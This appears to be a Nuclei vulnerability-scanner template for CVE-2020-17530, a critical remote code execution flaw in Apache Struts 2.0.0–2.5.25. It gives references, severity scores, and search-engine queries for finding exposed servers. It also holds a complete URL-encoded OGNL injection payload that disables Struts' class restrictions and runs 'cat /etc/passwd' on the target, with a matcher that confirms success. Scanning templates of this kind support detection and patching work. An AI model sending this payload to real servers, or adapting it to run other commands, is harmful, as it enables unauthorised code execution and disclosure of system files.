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id : CVE-2020-17530
info :
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name : Apache Struts 2.0.0-2.5.25 - Remote Code Execution
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author : pikpikcu
severity : critical
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description : Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
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remediation : |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts.
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reference :
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- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score : 9.8
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cve-id : CVE-2020-17530
cwe-id : CWE-917
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epss-score : 0.97232
epss-percentile : 0.99826
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cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : apache
product : struts
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shodan-query : http.html:"apache struts"
fofa-query : body="struts problem report"
google-query : intitle:"struts2 showcase"
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tags : cve,cve2020,apache,rce,struts,kev,packetstorm
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http :
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- method : GET
path :
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition : and
matchers :
- type : regex
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part : body
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regex :
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- "root:.*:0:0:"
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# digest: 4b0a00483046022100c95df7b80a699a5c469efd05763166e9336345788dcb921f4d7554984ab97434022100ab616a6d4e61409d715aaf95f946dc4cbdf01bcd1eee0e5b82da8de762627444:922c64590222798bb761d5b6d8e72950